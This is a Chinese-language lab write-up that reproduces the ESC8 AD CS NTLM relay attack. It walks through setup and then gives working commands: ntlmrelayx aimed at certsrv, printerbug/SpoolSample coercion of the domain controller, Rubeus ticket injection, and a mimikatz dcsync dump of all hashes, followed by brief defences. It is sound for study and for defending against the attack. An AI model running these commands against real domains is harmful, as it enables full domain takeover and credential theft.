ADCS中的ntlm relay

本文首发于先知:ADCS中的ntlm relay - 先知社区 (aliyun.com)

前言

​ specterops在前一段时间发布了关于域证书,也就是Active Directory 证书服务相关攻击手法和漏洞的白皮书,specterops在白皮书一共提到了19种关于adcs的利用,大致可以分为窃取、权限维持、提权几种类型。国内分析的更多集中在ESC8也就是relay的利用上,本文主要在理解域证书的基础复现ESC8的利用手法。

​ 白皮书地址:https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf

环境搭建(Active Directory 证书服务)

这里我准备了两台winserver2012的机器,一台作为主DC,一台作为辅DC。

我们首先搭建好一个域环境,配置好DNS环境:

1
2
3
攻击机		10.211.55.128	Kali
DC主机 10.211.55.12 win2012R2
辅DC 10.211.55.7 win2012R2

我们在辅DC安装域证书服务(adcs),在部署证书服务器时建议独立部署,不要和域控制器部署在同一台服务器中。

打开服务器管理器,找到添加角色和功能,下一步,找到Active Directory证书服务,默认下一步即可。

这里要勾选1和4,因为之后relay时要用到证书注册的功能,然后默认安装即可。

关于域证书

​ AD CS证书服务(SSL证书),简单说就是可以用于部署企业根或独立根建立SSL加密通道。ADCS可以用来加密文件系统,数字签名,以及身份验证。它实际上是微软对于PKI解决方案的实现。

​ AD CS 角色包括下列角色服务:

  • 证书颁发机构
  • 证书颁发机构 Web 注册
  • 在线响应者
  • 网络设备注册服务 (NDES)
  • 证书注册 Web 服务 (CES)
  • 证书注册策略 Web 服务。

CA(证书颁发机构)

​ 证书颁发机构。 CA 的主要用途是颁发证书、吊销证书,以及发布授权信息访问 (AIA) 和吊销信息。 部署的第一个 CA 会成为内部 PKI 的根。 然后,可以部署位于 PKI 层次结构中的从属 CA,并将根 CA 置于其顶部。 从属 CA 隐式信任根 CA,并隐含信任根 CA 颁发的证书。

配置CA

点击旗帜图标,配置目标服务器上的Active Directory证书服务,进行CA的配置(根证书和私钥等)

勾选“证书颁发机构”和“证书颁发机构Web注册”

其他的默认安装即可。

证书服务颁发机构Web注册页面如下,Certsrv便是证书服务颁发机构Web注册在IIS默认站点下生成的应用程序。

证书模板

​ 我们打开证书颁发机构,默认已经包含常见的证书模板,在证书模板中定义了颁发证书的信息(加密程序、证书有效期、是否允许导出私钥等)

在运行中输入:mmc,在添加/删除管理单元处可以添加证书模板

通过web服务器进行证书申请

首先我们需要在IIS服务器里,创建证书申请

申请之后我们会得到一个保存有证书申请信息的txt文件。

之后我们打开证书颁发机构Web注册页面,点击申请证书

之后要选择高级证书申请,使用Base64编码提交证书申请

将复制的内容粘贴到如下位置,选择证书模板:Web服务器。提交即可

更多的关于ADCS的资料大家可以从微软官网获取

ESC8(ADCS Relay)

白皮书中一共提到19种攻击手法,大致可以分为:

  • 窃取类
  • 权限维持类
  • 权限提升类

​ 其中权限维持类又可以分为个体权限维持与域的权限维持,类似我们常见的白银票据和黄金票据。在这些关于证书服务的攻击中威胁比较大的被称作ESC8 也被叫做ADCS Relay。

原因

​ ADCS的http证书接口允许通过NTLM身份验证,未但是启用NTLM中继保护,因此攻击者可以利用NTLM Relay攻击ADCS证书服务。攻击者可以在一个默认安装了证书web服务的域环境中,使用普通用户凭据,直接获取到域管权限。

大致思路

​ 结合 PetitPotam 与 ESC8,获取证书后可以为用户/机器请求 TGT / TGS 票据。能够实现从低权限域用户提升到域管理员权限,从而实现对整个域环境的控制。

  • 攻击者利用打印机漏洞,强制域控使用机器账户发起ntlm认证请求
  • 之后讲请求relay到证书服务的http接口,通过验证获得域机器账户的身份
  • 利用证书模板为机器用户申请证书,方便之后持久性获取该用户权限
  • 最后利用申请到的证书进行认证,就能拿到机器用户也就是域控的权限。

利用手法

首先我们需要安装最新的impacket

1
2
3
git clone https://github.com/ExAndroidDev/impacket.git
cd impacket
git checkout ntlmrelayx-adcs-attack

之后为impacket准备一个python虚拟环境。安装虚拟环境包

1
2
3
apt install python3-venv
python3 -m venv impacket
source impacket/bin/activate

最后使用pip安装依赖即可

1
pip install .

建议使用最新版的kali进行安装,其他系统安装有可能出现报错。正确安装的情况:

1.查找证书web服务端点

可以使用certutil命令来定位域内的CA服务器:

1
certutil -config - -ping

测试与CA服务器的网络连通:

可以看到,在默认情况下,证书注册服务、证书注册策略 web 服务、网络设备注册服务通过授权 http 头支持协商身份验证,支持 kerberos 及 NTLM。所以攻击者可以在这里进行中继攻击。

impacket设置监听

使用ntlmrelayx.py 进行监听,

1
python3 ntlmrelayx.py -debug -smb2support --target http://10.211.55.7/certsrv/certfnsh.asp --adcs --template DomainController

打印机bug

利用打印机bug,让域控回连到我们监听的服务上,这里可以使用spoolsample或者petitpotam,这里需要一个普通的域账号权限。

1
SpoolSample.exe dcip attackip

1
python3 printerbug.py domain/user:password@10.211.55.12 10.211.55.128

然后我们就获得到凭证证书信息:

获取域管权限

最后我们利用上面获取到的证书,使用Rubeus.exe获取tgt并注入:

注:我这里出现了KRB-ERROR (16) 的报错,需要到windows安全设置的本地策略里的安全选项里配置Kerberos允许的加密类型全部勾选。

之后可以利用mimikatz,进行导出hash

1
lsadump::dcsync /all /csv /domain:xxxx

防御

  • 关闭证书服务的web端点,或者开启SSL认证
  • 开启NTML中继保护

参考文章

ADCS + PetitPotam NTLM Relay: Obtaining krbtgt Hash with Domain Controller Machine Certificate - Red Teaming Experiments (ired.team)

Active Directory 证书服务攻击与防御(一) - 安全客,安全资讯平台 (anquanke.com)

AD CS relay attack - aoaoaoao - 博客园 (cnblogs.com)

全补丁域森林5秒沦陷?加密升级之信任雪崩 (qq.com)